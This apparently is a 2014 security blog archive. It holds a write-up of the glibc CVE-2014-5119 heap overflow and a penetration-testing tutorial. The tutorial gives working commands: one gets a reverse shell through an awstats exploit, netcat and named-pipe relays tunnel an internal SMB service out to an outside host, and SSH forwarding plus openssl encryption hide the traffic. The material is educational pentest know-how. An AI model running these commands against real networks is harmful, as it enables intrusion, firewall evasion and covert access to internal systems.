Saturday, September 6, 2014

Software flaw #5: NUL byte off-by-one overwrite into the heap

CVE-2014-5119 vulnerability was reported in glibc by Tavis Ormandy member of Google's Zero Project.


Vulnerable code lies in glibc's internal function __gconv_translit_find, here's vulnerable part (from glibc's bugzilla):

cp = __mempcpy (__stpcpy ((char *) newp->fname, runp->name),
                  trans->name, name_len);
if (need_so)
    memcpy (cp, ".so", sizeof (".so"));

cp points after the NUL terminator, so the memcpy call does not actually append ".so", but copies four bytes starting after the terminating NUL character, not changing the string at all - and writing a single NUL byte after the end of the buffer.


Zero Project Team released PoC exploit for this innocent looking flaw.

pkexec binary is chosen as a target of this PoC. Main idea behind it is to take advantage of so called backward consolidation of a heap but since the size of chunk is fixed and always the same (".so" as 32bit pointer is equal to 0x6f732e00), so also memory leak found in pkexec had to be used to spray the heap.

Wednesday, September 3, 2014

Monthly threat update #15: August

Friday, August 15, 2014

Penetration testing with pick

This post ilustrates usage of libxploit and accompanied pick tool together with some lateral movement techniques during penetration test.


Let's say we are testing following network:

  winbox:445 --- linbox:80


  • tester-machine: tester's machine
  • test-infra: machine available on the Internet with ssh access owned by tester
  • firewall: tested network's edge firewall that blocks all inbound traffic except HTTP/HTTPS traffic, outbound traffic is allowed only on ports 80 and 443
  • linbox: tested network web server with vulnerable software for which libxploit has exploit (let's say awstats ver. 6.1)
  • winbox: Windows machine with file sharing service that we want to access

After preliminary scan (for example with Nmap) we learn that linbox runs vulnerable software (awstats ver. 6.1). Then basic workflow is as follows:

Owning the linbox machine

To own the linbox machine (for better ops-sec it should be done via tor but libxploit doesn't support it yet), use reverse-shell on port 443 to evade traffic filtering on firewall:

First, prepare connection handler:

tester-machine$ nc -l -p 443

Getting the shell:

tester-machine$ ./pick --exploit exec-awstats --payload cmd-reverse-perl --exploit-opts RHOST=linbox.ip,RPORT=80 --payload-opts LHOST=tester-machine.ip,LPORT=443

Exposing internal service to the tester

Normally file sharing service on winbox is filtered by firewall, so it needs to be exposed via ports 80 or 443 to the tester:

Use netcat listener-to-listener relay on test-infra machine:

test-infra$ mknod bpipe p; nc -nlp 445 0<bpipe | nc -nlp 443 >bpipe

Then on linbox use netcat client-to-client relay:

linbox$ mknod bpipe p; nc -n winbox 445 0<bpipe | nc -n attack-infra 443 >bpipe

Now internal file sharing service is available on port 445 on test-infra machine. It can be accessed using SMB aware tool, or using nc for demonstration purposes:

tester-machine$ nc test-infra 445

Shell access to linbox can be terminated now.

This accomplishes our initial goal of exposing internal service to the tester but number of improvements can be added to make this process more stealthy.


Improvement #1: do not touch target network directly from tester's machine

Initial compromise is done directly from tester-machine. Better idea is to proxy it via attack-infra or possibly some other machine, but in order to do that we need to employ some cli fu first:

Set local ssh port forwarding which effectivly forwards to linbox:80 via ssh tunnel with test-infra machine:

tester-machine$ ssh -L 1234:linbox:80 user@test-infra.ip

Set reverse shell connection handler:

tester-machine$ nc -l -p 443

Create second ssh tunnel (this time using remote port forwarding) with test-infra machine for handling payload's reverse connection, it will forward connections from test-infra:443 to tester-machine:443 which is our connection handler:

tester-machine$ ssh -R 443:localhost:443 user@test-infra.ip

Finally exploit vulnerable software on linbox:

tester-machine$ ./pick --exploit exec-awstats --payload cmd-reverse-perl --exploit-opts RHOST=,RPORT=1234 --payload-opts LHOST=test-infra.ip,LPORT=443

Improvement #2: tunnel communication with file sharing service (between test-infra and tester-machnie nodes) via ssh

Final communication between tester-machine and test-infra nodes goes in clear via public networks, it can be tunneled via ssh.

So instead of accessing file sharing process this way:

tester-machine$ nc test-infra 445

let's tunnel it through ssh connection:

tester-machine$ ssh -L 4445:localhost:445 user@test-infra.ip

Then we can access file sharing service more securely via tester-machine's 4445 port:

tester-machine$ nc localhost 4445

Improvement #3: encrypt communication with file sharing service (between linbox and test-infra nodes)

Final communication between linbox and test-infra on port 443 is in plain text, it can be encrypted with openssl to make it look more like legitimate traffic on this port. For this purpose we can use something similar to this modified for our purpose.

First, our listener-to-listener nc relay on test-infra has to modified to encrypt all the data comming from tester-machine and decrypt data originating from linbox:

test-infra$ mknod bpipe p; nc -nlp 445 0<bpipe | openssl enc -a -aes-256-cbc -k someKey | nc -nlp 443 | openssl enc -d -a -aes-256-cbc -k someKey >bpipe

We also need to use modified client-to-client nc relay on linbox:

linbox$ mknod bpipe p; nc -n winbox 445 0<bpipe | openssl enc -a -aes-256-cbc -k someKey | nc -n attack-infra 443 | openssl enc -d -a -aes-256-cbc -k someKey >bpipe

This gives as 2-way encrypted communication channel between test-infra and linbox.

Tuesday, April 15, 2014

Threat update #14

Study about surveillance by eavesdropping on Web Cookies.

Friday, March 21, 2014

Threat update #13

XML-RPC functionality in Wordpress (and probably other CMS tools) is used for DDoS attacks.

Saturday, March 15, 2014

Threat update #12

Attack on SSL by hacking the CA and creating rouge certificates.

Tuesday, March 4, 2014